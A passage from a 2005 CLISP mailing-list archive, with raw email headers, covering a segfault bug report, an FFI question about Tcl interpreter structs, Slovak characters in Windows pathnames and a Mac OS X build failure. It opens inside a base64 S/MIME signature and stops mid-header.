oIGfoIGchoGZbGRhcDovL2RzLTMuYzNwa2kuY2hhbWIuZGlzYS5taWwvY24lM2REb0QlMjBDTEFT UyUyMDMlMjBSb290JTIwQ0ElMmNvdSUzZFBLSSUyY291JTNkRG9EJTJjbyUzZFUuUy4lMjBHb3Zl cm5tZW50JTJjYyUzZFVTP2NlcnRpZmljYXRlcmV2b2NhdGlvbmxpc3Q7YmluYXJ5MA0GCSqGSIb3 DQEBBQUAA4GBAKvH+EfhJOzPmz/G+TT4MKOSzweG97CS+L4tyX/ntF47FIz7pGfFA8mVWHtWygye 81jG5ZklO0/gXD3VRiDscUTi4YOfh5yaBvFo04D9Sq2bIAxzPLqG4b+8cyDvldoZZS4ala6jfDeR e2go9+fomoLrTh4euT/evpPljk4YyXljMIIEMzCCA5ygAwIBAgIDD428MA0GCSqGSIb3DQEBBQUA MGQxCzAJBgNVBAYTAlVTMRgwFgYDVQQKEw9VLlMuIEdvdmVybm1lbnQxDDAKBgNVBAsTA0RvRDEM MAoGA1UECxMDUEtJMR8wHQYDVQQDExZET0QgQ0xBU1MgMyBFTUFJTCBDQS01MB4XDTA0MDMxMTAw MDAwMFoXDTA2MDcwOTAwMDAwMFowdjELMAkGA1UEBhMCVVMxGDAWBgNVBAoTD1UuUy4gR292ZXJu bWVudDEMMAoGA1UECxMDRG9EMQwwCgYDVQQLEwNQS0kxDDAKBgNVBAsTA1VTTjEjMCEGA1UEAxMa V0lMTElBTVMuTUFSSy5MLjEyMjk1NDc2MTEwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMU9 iLkE945bJPxLJpcssF38+wm2V8Tm4Mf5msOfgIQOiIOa2T3ml21hxmlIYS7ryAflWr1tlOpNRsxk F0sQUqogRRDw+9YcRblqsrB3Z3Jzpm5Gv0CXleQ1eWTFiOjIr656YOCgUl++h5DA4eQe4ExT3IFN BZ6troRa01eUXRFbAgMBAAGjggHfMIIB2zAOBgNVHQ8BAf8EBAMCBSAwIwYDVR0RBBwwGoEYbWFy ay5sLndpbGxpYW1zQG5hdnkubWlsMB8GA1UdIwQYMBaAFPwQ+rlqYS5Ps9d0xigeaeAvzlToMB0G A1UdDgQWBBRhihevCcGeTLyZupLTSKldt+nDODAWBgNVHSAEDzANMAsGCWCGSAFlAgELCTCBjwYD VR0SBIGHMIGEhoGBbGRhcDovL2VtYWlsLWRzLTMuYzNwa2kuY2hhbWIuZGlzYS5taWwvY24lM2RE T0QlMjBDTEFTUyUyMDMlMjBFTUFJTCUyMENBLTUlMmNvdSUzZFBLSSUyY291JTNkRG9EJTJjbyUz ZFUuUy4lMjBHb3Zlcm5tZW50JTJjYyUzZFVTMIG5BgNVHR8EgbEwga4wgauggaiggaWGgaJsZGFw Oi8vZW1haWwtZHMtMy5jM3BraS5jaGFtYi5kaXNhLm1pbC9jbiUzZERPRCUyMENMQVNTJTIwMyUy MEVNQUlMJTIwQ0EtNSUyY291JTNkUEtJJTJjb3UlM2REb0QlMmNvJTNkVS5TLiUyMEdvdmVybm1l bnQlMmNjJTNkVVM/Y2VydGlmaWNhdGVyZXZvY2F0aW9ubGlzdDtiaW5hcnkwDQYJKoZIhvcNAQEF BQADgYEAppRToK4SgDw3lD2pVh95GV2zD29YO8Q3UHjr0f0gOPsf+IbEDNqtgcnj4RlLfwgtBgqQ ruA6bc3RzyjcybPqsK8/lyVOFo/TWQqzYpShLMYGHcuh3aGI/TApNxM50lwtp8ELcSaQqG06ZSlM T9zWUgvE0O7nsB1lp+rJZX5FHDMwggR+MIID56ADAgECAgMPjbYwDQYJKoZIhvcNAQEFBQAwZDEL MAkGA1UEBhMCVVMxGDAWBgNVBAoTD1UuUy4gR292ZXJubWVudDEMMAoGA1UECxMDRG9EMQwwCgYD VQQLEwNQS0kxHzAdBgNVBAMTFkRPRCBDTEFTUyAzIEVNQUlMIENBLTUwHhcNMDQwMzExMDAwMDAw WhcNMDYwNzA5MDAwMDAwWjB2MQswCQYDVQQGEwJVUzEYMBYGA1UEChMPVS5TLiBHb3Zlcm5tZW50 MQwwCgYDVQQLEwNEb0QxDDAKBgNVBAsTA1BLSTEMMAoGA1UECxMDVVNOMSMwIQYDVQQDExpXSUxM SUFNUy5NQVJLLkwuMTIyOTU0NzYxMTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAvIjhncAE XT6XOZx8iFGNqq/pb9HZaDxKvtm4oMayT77+eCFjtdjZ6s/I8kT5yVZUOR9emhWufZNgsKqWkl42 PgjfjV1xsLymQ91/8QNiEuPeANlRLvhq+0ZrdhuMOxQOQekx0rejBDXxLXubdFm/YIJhs3jB10rx PRakWJ5MJ3ECAwEAAaOCAiowggImMA4GA1UdDwEB/wQEAwIGwDAfBgNVHSMEGDAWgBT8EPq5amEu T7PXdMYoHmngL85U6DAdBgNVHQ4EFgQUhAGBjUCpje7O6soGuw1NAKbdT3cwFgYDVR0gBA8wDTAL BglghkgBZQIBCwkwgY8GA1UdEgSBhzCBhIaBgWxkYXA6Ly9lbWFpbC1kcy0zLmMzcGtpLmNoYW1i LmRpc2EubWlsL2NuJTNkRE9EJTIwQ0xBU1MlMjAzJTIwRU1BSUwlMjBDQS01JTJjb3UlM2RQS0kl MmNvdSUzZERvRCUyY28lM2RVLlMuJTIwR292ZXJubWVudCUyY2MlM2RVUzCBuQYDVR0fBIGxMIGu MIGroIGooIGlhoGibGRhcDovL2VtYWlsLWRzLTMuYzNwa2kuY2hhbWIuZGlzYS5taWwvY24lM2RE T0QlMjBDTEFTUyUyMDMlMjBFTUFJTCUyMENBLTUlMmNvdSUzZFBLSSUyY291JTNkRG9EJTJjbyUz ZFUuUy4lMjBHb3Zlcm5tZW50JTJjYyUzZFVTP2NlcnRpZmljYXRlcmV2b2NhdGlvbmxpc3Q7Ymlu YXJ5MCkGA1UdJQQiMCAGCisGAQQBgjcUAgIGCCsGAQUFBwMEBggrBgEFBQcDAjBDBgNVHREEPDA6 gRhtYXJrLmwud2lsbGlhbXNAbmF2eS5taWygHgYKKwYBBAGCNxQCA6AQDA4xMjI5NTQ3NjExQG1p bDANBgkqhkiG9w0BAQUFAAOBgQAdMIPM5mSMZfMrYsh0MT/l+cCa2/jlqVVCpIkLvoh/jE4xGqsp fPhn0DSg5Xup2PpPp8vh7hp1Rb2jkN5jNwwoqedvh2abtbEgN6rU/uPidMooO/8dEeruvkfD7ezp dWHtlNX8QHpM26oz++DSu7mOqhMddZpyemlbfpkV8+1+RzGCArcwggKzAgEBMGswZDELMAkGA1UE BhMCVVMxGDAWBgNVBAoTD1UuUy4gR292ZXJubWVudDEMMAoGA1UECxMDRG9EMQwwCgYDVQQLEwNQ S0kxHzAdBgNVBAMTFkRPRCBDTEFTUyAzIEVNQUlMIENBLTUCAw+NtjAJBgUrDgMCGgUAoIIBojAY BgkqhkiG9w0BCQMxCwYJKoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0wNTA0MDcxNDU0MzhaMCMG CSqGSIb3DQEJBDEWBBQURxQYANQ8XqOsWZ4SUiPsZ14OVTBJBgkqhkiG9w0BCQ8xPDA6MAoGCCqG SIb3DQMHMA4GCCqGSIb3DQMCAgIAgDAHBgUrDgMCBzAHBgUrDgMCGjAKBggqhkiG9w0CBTB6Bgkr BgEEAYI3EAQxbTBrMGQxCzAJBgNVBAYTAlVTMRgwFgYDVQQKEw9VLlMuIEdvdmVybm1lbnQxDDAK BgNVBAsTA0RvRDEMMAoGA1UECxMDUEtJMR8wHQYDVQQDExZET0QgQ0xBU1MgMyBFTUFJTCBDQS01 AgMPjbwwfAYLKoZIhvcNAQkQAgsxbaBrMGQxCzAJBgNVBAYTAlVTMRgwFgYDVQQKEw9VLlMuIEdv dmVybm1lbnQxDDAKBgNVBAsTA0RvRDEMMAoGA1UECxMDUEtJMR8wHQYDVQQDExZET0QgQ0xBU1Mg MyBFTUFJTCBDQS01AgMPjbwwDQYJKoZIhvcNAQEBBQAEgYCvBReGCpZ6Nh7gsYJLYeJgO4OOEtNk jSHO4dJmqXtx548gvdXa0PJxpFh5ca9p29iZOXfBtfQGVbE4LVgR+13ILH3qkC2S3idp9Jjg+83Y kowt978Y2WuasQ98fN1T5sNgRgeIj/r7qpflOEkz034bDRFsKjxSukv1atc598+tgwAAAAAAAA== ------=_NextPart_000_00A6_01C53B57.CFCF73C0-- From sds@gnu.org Thu Apr 07 14:02:17 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DJe8n-0006M5-CK for clisp-list@lists.sourceforge.net; Thu, 07 Apr 2005 14:02:17 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DJe8k-0002dC-LT for clisp-list@lists.sourceforge.net; Thu, 07 Apr 2005 14:02:17 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j37L0BUk022127; Thu, 7 Apr 2005 17:00:11 -0400 (EDT) To: "Williams, Mark L CIV NSWC-PC" Cc: Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <2790804CBFD3C749BE6D40CE54CDA5A1011FFB21@naeanrfkez06.nadsusea.nads.navy.mil> (Mark L. Williams's message of "Thu, 7 Apr 2005 08:27:15 -0400") References: <2790804CBFD3C749BE6D40CE54CDA5A1011FFB21@naeanrfkez06.nadsusea.nads.navy.mil> Mail-Followup-To: "Williams, Mark L CIV NSWC-PC" , Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: CLISP 2.33.2 BUG REPORT Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 7 14:03:08 2005 X-Original-Date: Thu, 07 Apr 2005 17:01:39 -0400 > * Williams, Mark L CIV NSWC-PC [2005-04-07 08:27:15 -0400]: > > ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW > -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))" > STACK depth: 23975 > SP depth: 263481 > Segmentation Fault - core dumped $ cd build-g $ gdb lisp.run (gdb) run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW > (load "init.lisp") segmentation fault (gdb) where ??? -- Sam Steingold (http://www.podval.org/~sds) running w2k Do not tell me what to do and I will not tell you where to go. From kavenchuk@jenty.by Fri Apr 08 03:17:15 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DJqY3-0001u7-SC for clisp-list@lists.sourceforge.net; Fri, 08 Apr 2005 03:17:11 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DJqY1-0007oY-9o for clisp-list@lists.sourceforge.net; Fri, 08 Apr 2005 03:17:11 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 22VVCP3S; Fri, 8 Apr 2005 13:20:08 +0300 Message-ID: <42565A4B.30201@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: newbie ffi question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 8 03:17:38 2005 X-Original-Date: Fri, 08 Apr 2005 13:17:47 +0300 Sam Steingold: > how about > > (ffi:with-c-var (pointer 'ffi:c-pointer intr) > (setf (ffi:slot (ffi:foreign-value > (ffi:cast pointer '(ffi:c-ptr tcl-ffi:Tcl-Interp))) > ...) > ...)) [2]> (setq intr (tcl-ffi:Tcl-CreateInterp)) # [3]> (ffi:with-c-var (pointer 'ffi:c-pointer intr) (ffi:cast pointer '(ffi:c-ptr tcl-ffi:Tcl-Interp))) #S(TCL-FFI:Tcl-Interp :RESULT "" :|FREEpROC| NIL :|ERRORlINE| 0) [4]> (ffi:with-c-var (pointer 'ffi:c-pointer intr) (setf (ffi:slot (ffi:foreign-value (ffi:cast pointer '(ffi:c-ptr tcl-ffi:Tcl-Interp))) 'result) "foo")) *** - FFI::%SLOT: #S(TCL-FFI:Tcl-Interp :RESULT "" :|FREEpROC| NIL :|ERRORlINE| 0) is not of type FFI:FOREIGN-VARIABLE The following restarts are available: ABORT :R1 ABORT Break 1 [5]> Thanks. -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Fri Apr 08 07:46:37 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DJukn-0007Cl-0D for clisp-list@lists.sourceforge.net; Fri, 08 Apr 2005 07:46:37 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DJukl-00074a-DW for clisp-list@lists.sourceforge.net; Fri, 08 Apr 2005 07:46:36 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j38EiEBL027447; Fri, 8 Apr 2005 10:44:25 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42565A4B.30201@jenty.by> (Yaroslav Kavenchuk's message of "Fri, 08 Apr 2005 13:17:47 +0300") References: <42565A4B.30201@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: newbie ffi question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 8 07:47:15 2005 X-Original-Date: Fri, 08 Apr 2005 10:45:43 -0400 Why don't you examine clsip/tests/ffi.tst: (def-c-struct triv (i int)) (def-call-out c-self (:name "ffi_identity") (:arguments (obj c-pointer)) (:return-type (c-pointer triv)) (:language :stdc)) (with-c-var (v 'triv (make-triv :i 8476272)) (with-c-place (w (c-self (c-var-object v))) (setf (slot v 'i) -74590302) (list (typeof w) (slot w 'i)))) It appears that you need to make your function return a (c-pointer tcl-ffi:Tcl-Interp) and you need to use with-c-place: [1]> (use-package "FFI") T [2]> (def-c-struct fs (zz int)) FS [5]> (setq s (foreign-allocate (parse-c-type 'fs))) # [6]> (foreign-value s) #S(FS :ZZ 0) [7]> (setf (slot (foreign-value s) 'zz) 123) 123 [8]> (foreign-value s) #S(FS :ZZ 123) [16]> (with-c-place (w s) (setf (slot w 'zz) 12)) 12 [17]> (foreign-value s) #S(FS :ZZ 12) [18]> (foreign-free s) sorry that it took me so long to figure this out. -- Sam Steingold (http://www.podval.org/~sds) running w2k Every day above ground is a good day. From sta@pavlica.sk Sat Apr 09 09:33:57 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DKIuD-0007VZ-8P for clisp-list@lists.sourceforge.net; Sat, 09 Apr 2005 09:33:57 -0700 Received: from av3.stonline.sk ([213.81.152.134]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.41) id 1DKIuB-0007uj-Hg for clisp-list@lists.sourceforge.net; Sat, 09 Apr 2005 09:33:57 -0700 Received: from smtp.stonline.sk (localhost [127.0.0.1]) by av3.stonline.sk (8.12.11/8.12.11) with ESMTP id j39GXhvu016592 for ; Sat, 9 Apr 2005 18:33:43 +0200 X-Virus-Scanner: This message was checked by NOD32 Antivirus system NOD32 for Linux Mail Server. For more information on NOD32 Antivirus System, please, visit our website: http://www.nod32.com/. Received: from pavlica.sk (adsl152-d.213-160-171.telecom.sk [213.160.171.152]) by smtp1.stonline.sk (STOnline ESMTP Server) with ESMTPA id <0IEO001O6U062L@smtp1.stonline.sk> for clisp-list@lists.sourceforge.net; Sat, 09 Apr 2005 18:33:43 +0200 (MEST) From: Pavlica Stanislav To: clisp-list@lists.sourceforge.net Message-id: <425803DF.5030504@pavlica.sk> MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-2; format=flowed X-Accept-Language: sk,en User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02 X-NOD32Result: clean Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by av3.stonline.sk id j39GXhvu016592 X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] slovak characters in pathnames Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Apr 9 09:34:03 2005 X-Original-Date: Sat, 09 Apr 2005 18:33:35 +0200 CLISP: 2.33 (2004-03-17) (built on winsteingoldlap [10.0.61.31]) OS: Microsoft Windows 98, second edition, 4.10.2222A (slovak version) FILESYSTEM: FAT32 I have a problem with slovak characters in pathnames. evaluate: (directory "e:\\sto=BEiar\\") error: ** - Continuable Error PARSE-NAMESTRING: syntax error in filename "e:\\sto=BEiar\\" at position = 6 (character "=BE") #\LATIN_SMALL_LETTER_Z_WITH_CARON If directory "e:\\sto=BEiar\\" exists, then same error occur after evalua= ting: (directory "e:\\*/") The same error after (namestring "e:\\sto=BEiar\\") or (namestring "e:\\sto=BEiar.txt") From pjb@informatimago.com Sat Apr 09 10:46:29 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DKK2O-0002Vu-LM for clisp-list@lists.sourceforge.net; Sat, 09 Apr 2005 10:46:28 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DKK2M-0007gy-PE for clisp-list@lists.sourceforge.net; Sat, 09 Apr 2005 10:46:28 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id D8EFF5833D; Sat, 9 Apr 2005 19:46:17 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 75B9B582FA; Sat, 9 Apr 2005 19:46:10 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id B62EA10FC26; Sat, 9 Apr 2005 19:46:10 +0200 (CEST) Message-ID: <16984.5346.684377.388942@thalassa.informatimago.com> To: Pavlica Stanislav Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] slovak characters in pathnames In-Reply-To: <425803DF.5030504@pavlica.sk> References: <425803DF.5030504@pavlica.sk> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-104.9 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00, USER_IN_WHITELIST autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Apr 9 10:46:37 2005 X-Original-Date: Sat, 9 Apr 2005 19:46:10 +0200 Pavlica Stanislav writes: > CLISP: 2.33 (2004-03-17) (built on winsteingoldlap [10.0.61.31]) > OS: Microsoft Windows 98, second edition, 4.10.2222A (slovak version) > FILESYSTEM: FAT32 > > I have a problem with slovak characters in pathnames. > > evaluate: > (directory "e:\\sto=BEiar\\") > > error: > ** - Continuable Error > PARSE-NAMESTRING: syntax error in filename "e:\\sto=BEiar\\" at position = > 6 What is the value of CUSTOM:*PATHNAME-ENCODING* ? > (character "=BE") > #\LATIN_SMALL_LETTER_Z_WITH_CARON > > If directory "e:\\sto=BEiar\\" exists, then same error occur after evalua= > ting: > (directory "e:\\*/") > > The same error after > (namestring "e:\\sto=BEiar\\") > or > (namestring "e:\\sto=BEiar.txt") On the other hand, I get this error (on unix): [90]> (lisp-implementation-version) "2.33.2 (2004-06-02) (built 3320840961) (memory 3320841245)" [91]> (let ((CUSTOM:*PATHNAME-ENCODING* (ext:make-encoding :charset charset:iso-8859-2))) (directory (concatenate 'string "sto" #(#\LATIN_SMALL_LETTER_Z_WITH_CARON) "iar"))) *** - Character #\u017E cannot be represented in the character set CHARSET:ISO-8859-1 Why CUSTOM:*PATHNAME-ENCODING* isn't taken into account? Oh, it's not a dynamic variable, it's a symbol macro (why then is it named '*' pathname-encoding '*' ?) [93]> (setf CUSTOM:*PATHNAME-ENCODING* (ext:make-encoding :charset charset:iso-8859-2)) # [94]> (parse-namestring (concatenate 'string "e:\\sto" #(#\LATIN_SMALL_LETTER_Z_WITH_CARON) "iar")) #P"e:\\sto¸iar" ; 10 (Perhaps it's a problem that has been corrected between 2.33 and 2.33.2 ?) -- __Pascal Bourguignon__ http://www.informatimago.com/ Our enemies are innovative and resourceful, and so are we. They never stop thinking about new ways to harm our country and our people, and neither do we. -- Georges W. Bush From lars@margay.org Sat Apr 09 11:04:10 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DKKJW-0003Cp-81 for clisp-list@lists.sourceforge.net; Sat, 09 Apr 2005 11:04:10 -0700 Received: from margay.org ([70.85.31.25]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DKKJT-0006hp-Pl for clisp-list@lists.sourceforge.net; Sat, 09 Apr 2005 11:04:10 -0700 Received: from [10.0.2.2] (ACC0799B.ipt.aol.com [::ffff:172.192.121.155]) (AUTH: LOGIN lars, SSL: TLSv1/SSLv3,128bits,RC4-SHA) by margay.org with esmtp; Sat, 09 Apr 2005 10:04:04 -0700 id 00096B71.42580B04.00005B6F Mime-Version: 1.0 (Apple Message framework v619.2) In-Reply-To: References: <3e4da9c38d018413fcfdc613b71741e1@margay.org> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <856e3263f033bea2826f8f0c851a24bb@margay.org> Content-Transfer-Encoding: 7bit From: Lars Rosengreen To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.619.2) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp cvs build fails for me on mac osx 10.3.8 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Apr 9 11:04:18 2005 X-Original-Date: Sat, 9 Apr 2005 11:03:33 -0700 On Apr 6, 2005, at 3:36 PM, Sam Steingold wrote: >> * Lars Rosengreen [2005-04-05 19:20:08 -0700]: >> >> On Apr 5, 2005, at 3:02 PM, Sam Steingold wrote: >> >>>> * Lars Rosengreen [2005-04-05 14:51:12 -0700]: >>>> >>>> calls.c: In function `C_subr_posix_setpgrp': >>>> calls.c:353: error: too few arguments to function `setpgrp' >>> >>> >> setpgrp.html>: >>> pid_t setpgrp(void); >>> >>> how is setpgrp() defined on your platform? >> >> man setpgrp returns: >> >> int >> setpgrp(pid_t pid, pid_t pgrp); > > > OK, I added a configure test for this breakage. > could you please try clisp cvs head again? > > Thanks! It fixes the problem I was having in syscalls, but now I see something else at a later point in the build: ~/clisp% ./configure --build build ... cmp -s clos-genfun5.fas stage/clos-genfun5.fas || (echo "Test failed." ; exit 1) cmp -s clos-dependent.fas stage/clos-dependent.fas || (echo "Test failed." ; exit 1) cmp -s clos-print.fas stage/clos-print.fas || (echo "Test failed." ; exit 1) cmp -s clos-custom.fas stage/clos-custom.fas || (echo "Test failed." ; exit 1) cmp -s documentation.fas stage/documentation.fas || (echo "Test failed." ; exit 1) cmp -s fill-out.fas stage/fill-out.fas || (echo "Test failed." ; exit 1) cmp -s disassem.fas stage/disassem.fas || (echo "Test failed." ; exit 1) cmp -s condition.fas stage/condition.fas || (echo "Test failed." ; exit 1) Test failed. make: *** [check-recompile] Error 1 I have put a complete copy of the build log here: http://www.margay.org/~lars/clisp-build.log.gz this is with: cvs as of Thu Apr 7 10:23:16 PDT Mac OS X 10.3.8 gcc version 3.3 20030304 (Apple Computer, Inc. build 1671 When I try on a different machine with osx 10.3.8, it also stops here (I was worried it might be a hardware problem). -Lars -- Lars Rosengreen http://www.margay.org/~lars From sds@gnu.org Sat Apr 09 11:25:52 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DKKeU-00045v-JI for clisp-list@lists.sourceforge.net; Sat, 09 Apr 2005 11:25:50 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DKKeR-0002Ja-3A for clisp-list@lists.sourceforge.net; Sat, 09 Apr 2005 11:25:50 -0700 Received: from 65-78-14-94.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) (65.78.14.94) by smtp04.mrf.mail.rcn.net with ESMTP; 09 